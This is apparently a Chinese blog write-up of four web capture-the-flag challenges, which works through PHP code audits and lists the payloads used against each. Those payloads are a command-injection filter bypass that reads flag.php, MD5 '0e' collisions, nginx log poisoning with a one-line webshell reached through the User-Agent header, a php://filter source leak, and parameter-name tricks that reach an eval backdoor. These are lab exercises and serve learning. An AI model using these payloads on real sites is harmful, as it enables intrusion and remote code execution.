• 【无标题】


    1.[MoeCTF 2021]babyRCE

     代码审计,rce,没有过滤ls,直接传参?rce=ls

     有flag.php,直接cat命令打开

    构造:?rce=c\at${IFS}fl\ag.php

    打开源代码

     也可以用tac命令

    ?rce=ta\c%09f\lag.php

    可以直接打印出来

    2.[SWPUCTF 2022 新生赛]funny_php

    1. session_start();
    2. highlight_file(__FILE__);
    3. if(isset($_GET['num'])){
    4. if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
    5. echo ":D";
    6. $_SESSION['L1'] = 1;
    7. }else{
    8. echo ":C";
    9. }
    10. }
    11. if(isset($_GET['str'])){
    12. $str = preg_replace('/NSSCTF/',"",$_GET['str']);
    13. if($str === "NSSCTF"){
    14. echo "wow";
    15. $_SESSION['L2'] = 1;
    16. }else{
    17. echo $str;
    18. }
    19. }
    20. if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
    21. if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
    22. echo "Nice!";
    23. if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
    24. if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
    25. echo "yoxi!";
    26. $_SESSION['L3'] = 1;
    27. }else{
    28. echo "X(";
    29. }
    30. }
    31. }else{
    32. echo "G";
    33. echo $_POST['md5_1']."\n".$_POST['md5_2'];
    34. }
    35. }
    36. if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
    37. include('flag.php');
    38. echo $flag;
    39. }
    40. ?>

    审计代码

    GET传参num,检查是否存在,并且字符是否小于等于3,大于999999999

     如果成立,则输出D,到达下一关,使用科学计数法,构造?num=9e9

     GET传参str,正则匹配了NSSCTF,需要str等于NSSCTF

    用双写绕过

    构造:?num=9e9&str=NSSNSSCTFCTF

     post传参md5_1和md5_2

    两个都需要是字符串,那么数组就不可以使用,需要md5_1,md5_2的值不一样,但是二者的MD5值一样,0e绕过

    构造:md5_1=s155964671a&md5_2=s878926199a

    涉及科学记数法绕过,双写绕过,0e绕过

    3.[HNCTF 2022 WEEK2]easy_include

     GET传参file,尝试/etc/passwd,

    进过搜索后, nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

    有日志包含漏洞

    apache服务器日志存放文件位置:/var/log/apache/access.log

    nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

    所以,构造:?file=/var/log/nginx/access.log

    nginx服务器,可以看到回显的是ua报文头,同理,我们在ua头构造一句话木马 .

    抓包,写入一句话木马:

    需要点击两次发送,第一次是写入木马,第二次是执行木马

    接着就可以用cat命令读取flag

     涉及nginx服务器日志包含漏洞,可在回显出写入一句话木马。

    当然一句话木马也可以写:

    传入成功后链接蚁剑

    url :http://node5.anna.nssctf.cn:20241/?file=/var/log/nginx/access.log

    密码:cmd

    4.[NSSRound#8 Basic]MyDoor

    进去后是一个空白页面,但有file参数

    使用伪协议读取index.php的 内容

    构造:?file=php://filter/convert.base64-encode/resource=index.php

    得到:

    PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYgKGlzc2V0KCRfR0VUWydOX1MuUyddKSkgew0KICAgIGV2YWwoJF9HRVRbJ05fUy5TJ10pOw0KfQ0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxsYXxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGUgJGZpbGU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCdlcnJvci4nKTsNCiAgICB9DQp9

    解码:

    1. error_reporting(0);
    2. if (isset($_GET['N_S.S'])) {
    3. eval($_GET['N_S.S']);
    4. }
    5. if(!isset($_GET['file'])) {
    6. header('Location:/index.php?file=');
    7. } else {
    8. $file = $_GET['file'];
    9. if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
    10. include $file;
    11. } else {
    12. die('error.');
    13. }
    14. }

    发现还有一个参数N_S.S

    但是不能够直接这样传参,需要用[代替

    根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造的话N_S.S,最后php执行的是N_S_S,因此我们将前面的_用[代替

    当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

    所以构造:?N[S.S=phpinfo();

    查看配置信息,里面匹配到flag

    涉及到filter协议读取index.php源码,php非法传参

  • 相关阅读:
    GIS入门,xyz地图瓦片是什么,xyz数据格式详解,如何发布离线XYZ瓦片到nginx或者tomcat中
    【1 操作系统概述】
    MyBtis 替换符号 查询 SQL 代替符号
    Educational Codeforces Round 157 (A--D)视频详解
    今天的码农女孩用react写了轮播图以及组件之间的不同之处
    ThreadLocal 原理
    第一届全国高校将计算机技能大赛知识点整理
    elform-item动态prop
    从零开始实现放置游戏(十七)——完结篇(附DEMO地址)
    java计算机毕业设计高校多媒体设备报修管理系统源码+mysql数据库+系统+lw文档+部署
  • 原文地址:https://blog.csdn.net/2303_77961060/article/details/139453025